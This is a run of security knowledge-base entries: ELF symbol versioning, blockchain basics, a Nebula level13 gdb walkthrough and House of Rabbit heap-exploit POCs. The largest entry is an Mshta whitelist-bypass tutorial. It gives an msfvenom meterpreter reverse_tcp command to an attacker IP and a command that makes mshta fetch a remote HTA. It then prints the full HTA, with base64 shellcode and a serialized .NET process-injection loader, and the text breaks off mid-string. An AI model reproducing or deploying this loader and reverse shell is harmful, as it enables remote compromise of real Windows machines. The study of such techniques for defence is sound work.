LOAD:080482E0 dw 2 ; strlen@@GLIBC_2.0 LOAD:080482E2 dw 2 ; __libc_start_main@@GLIBC_2.0 LOAD:080482E4 dw 2 ; write@@GLIBC_2.0 LOAD:080482E6 dw 2 ; stdin@@GLIBC_2.0 LOAD:080482E8 dw 2 ; stdout@@GLIBC_2.0 LOAD:080482EA dw 1 ; global symbol: _IO_stdin_used ... .rodata:0804866C public _IO_stdin_used .rodata:0804866C _IO_stdin_used db 1 ; DATA XREF: LOAD:0804825C↑o .rodata:0804866D db 0 .rodata:0804866E db 2 .rodata:0804866F db 0 .rodata:0804866F _rodata ends ``` #### .gnu.version_d Version definitions of symbols. #### .gnu.version_r Version references (version needs) of symbols. ## 参考 - https://refspecs.linuxfoundation.org/LSB_3.0.0/LSB-PDA/LSB-PDA.junk/symversion.html
sec-knowleage
### Public Blockchain Security Overview定义 > A public blockchain has absolutely no access restrictions. Anyone with an Internet connection can send transactions to it as well as become a validator (i.e., participate in the execution of a consensus protocol). Usually, such networks offer economic incentives for those who secure them and utilize some type of a Proof of Stake or Proof of Work algorithm. > Some of the largest, most known public blockchains are the bitcoin blockchain and the Ethereum blockchain. ------ from [wikipedia](https://en.wikipedia.org/wiki/Blockchain#Public_blockchains)
sec-knowleage
# Level13 #### About There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id. To do this level, log in as the level13 account with the password level13. Files for this level can be found in /home/flag13. #### Source code ``` #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); } ``` #### Solutions * gdb flag13 ``` (gdb) disassemble main break *0x080484f4 run print $eax set $eax=1000 print $eax continue ``` * su flag13 < b705702b-76a8-42b0-8844-3adabbe5ac58 #### Recommends http://www.yolinux.com/TUTORIALS/GDB-Commands.html objdump
sec-knowleage
### House of Rabbit介绍 House of rabbit是一种伪造堆块的技术,早在2017年已经提出,但在最近两个月才在CTF比赛中出现。我们一般运用在fastbin attack中,因为unsorted bin等其它的bin有更好的利用手段。 ### House of Rabbit原理 我们知道,fastbin中会把相同的size的被释放的堆块用一个单向链表管理,分配的时候会检查size是否合理,如果不合理程序就会异常退出。而house of rabbit就利用了在malloc consolidate的时候fastbin中的堆块进行合并时size没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。 由于原作者的[POC](https://github.com/shift-crops/House_of_Rabbit)需要的条件较多,这里我直接介绍这个攻击的本质即可。 `前提条件`: 1. 可以修改fastbin的fd指针或size 2. 可以触发malloc consolidate(merge top或malloc big chunk等等) 下面来看一下POC `POC 1`: modify the size of fastbin chunk ```cpp unsigned long* chunk1=malloc(0x40); //0x602000 unsigned long* chunk2=malloc(0x40); //0x602050 malloc(0x10); free(chunk1); free(chunk2); /* Heap layout 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0x51 ('Q') 0016| 0x602010 --> 0x0 ..... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x51 ('Q') 0096| 0x602060 --> 0x602000 --> 0x0 0104| 0x602068 --> 0x0 ...... 0160| 0x6020a0 --> 0x0 0168| 0x6020a8 --> 0x21 ('!') 0176| 0x6020b0 --> 0x0 0184| 0x6020b8 --> 0x0 */ chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1 malloc(0x1000); //allocate a large chunk, trigger malloc consolidate /*Chunk1 overlap with chunk2 now gdb-peda$ telescope 0x602000 100 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0xa1 0016| 0x602010 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...) 0024| 0x602018 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...) 0032| 0x602020 --> 0x0 ..... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x51 ('Q') 0096| 0x602060 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...) 0104| 0x602068 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...) 0112| 0x602070 --> 0x0 0120| 0x602078 --> 0x0 .... 0152| 0x602098 --> 0x0 0160| 0x6020a0 --> 0xa0 0168| 0x6020a8 --> 0x20 (' ') gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x603450 (size : 0x1fbb0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x050) smallbin[ 3]: 0x602050 (0x0a0) smallbin[ 8]: 0x602000 (overlap chunk with 0x602050(freed) ) */ ``` `POC 2`:modify FD pointer ```cpp unsigned long* chunk1=malloc(0x40); //0x602000 unsigned long* chunk2=malloc(0x100);//0x602050 chunk2[1]=0x31; //fake chunk size 0x30 chunk2[7]=0x21 //fake chunk's next chunk chunk2[11]=0x21 //fake chunk's next chunk's next chuck /* Heap laylout 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0x51 ('Q') 0016| 0x602010 --> 0x0 ...... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x111 0096| 0x602060 --> 0x0 0104| 0x602068 --> 0x31 ('1') 0112| 0x602070 --> 0x0 ...... 0144| 0x602090 --> 0x0 0152| 0x602098 --> 0x21 ('!') 0160| 0x6020a0 --> 0x0 0168| 0x6020a8 --> 0x0 0176| 0x6020b0 --> 0x0 0184| 0x6020b8 --> 0x21 ('!') 0192| 0x6020c0 --> 0x0 ...... 0352| 0x602160 --> 0x0 0360| 0x602168 --> 0x20ea1 */ free(chunk1); chuck1[0]=0x602060;// modify the fd of chunk1 /* gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0 */ malloc(5000);// malloc a big chunk to trigger malloc consolidate /* gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x6034f0 (size : 0x1fb10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x050) smallbin[ 3]: 0x602000 (0x030) smallbin[ 1]: 0x602060 */ ``` 原理很简单,就是通过修改fastbin chunk的size(如上面的POC 1所示)直接构造overlap chunk,或者修改fd(如面的POC 2所示),让它指向一个fake chunk,触发malloc consolidate之后让这个fake chunk成为一个合法的chunk。
sec-knowleage
### Mshta简介: Mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。 **说明:**Mshta所在路径已被系统添加PATH环境变量中,因此,可直接执行Mshta.exe命令。 基于白名单Mshta.exe配置payload: Windows 7 默认位置: ```bash C:\Windows\System32\mshta.exe C:\Windows\SysWOW64\mshta.exe ``` **攻击机:**192.168.1.4 Debian **靶机:** 192.168.1.3 Windows 7 ### 配置攻击机msf: ![](media/f245f8669131b9479df5938aeaa46e04.jpg) ### 配置payload: ```bash msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f raw > shellcode.bin ``` ![](media/bb0de086b8d214f602a32b1e969bf8e3.jpg) ```bash cat shellcode.bin |base64 ‐w 0 ``` ![](media/a082e7172c33c803848cbb3137e0350a.jpg) 替换如下: ![](media/db40efa36fb44a78de6ad92e0703e070.jpg) ### 靶机执行: ```bash mshta.exe http://192.168.1.4/Micropoor.hta ``` ![](media/555b1ac76b6f56f92f49c6bda5e8f91f.jpg) ### 附录:Micropoor.hta **注:x86 payload** ```visual basic <script language="VBScript"> ' Usage: ' Choose a binary you want to inject into, default "rundll32.exe", you can use note pad.exe, calc.exe for example... ' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt St rike, Metasploit Framework ' Run: cat payload.bin | base64 ‐w 0 ' Copy the base64 encoded payload into the code variable below. ' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32 Dim binary : binary = "rundll32.exe" ' Base64 encoded 32 bit shellcode Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1Y P4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=" Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run Dim s, entry_class s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90" s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu" s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH" s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA" s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw" s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu" s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA" s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u" s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5" s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR" s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA" s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y" s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh" s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz" s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy" s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA" s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA" s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA" s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA" s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA" s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA" s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT" s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA" s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME" s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK" s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK" s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA" s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC" s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP" s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj" s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB" s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA" s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF" s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG" s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I" s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK" s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB" s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG" s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB" s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW" s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD" s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG" s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I" s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW" s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA" s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW" s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg" s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+" s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA" s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA" s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA" s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB" s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG" s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ" s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA" s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ" s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA" s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ" s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB" s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu" s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA" s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB" s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA" s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN" s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S" s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU" s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP" s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB" s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF" s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT" s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP" s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP" s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ" s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU" s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD" s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP" s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J" s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X" s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO" s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy" s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs" s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl" s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW" s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1" s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh" s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli" s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0" s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz" s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5" s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3" s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI" s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n" s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD" s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz" s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ" s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT" s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt" s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp" s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp" s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh" s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU" s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB" s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk" s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ" s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5" s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX" s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE" s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD" s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE" s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA" s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg" s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS" s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB" s = s & 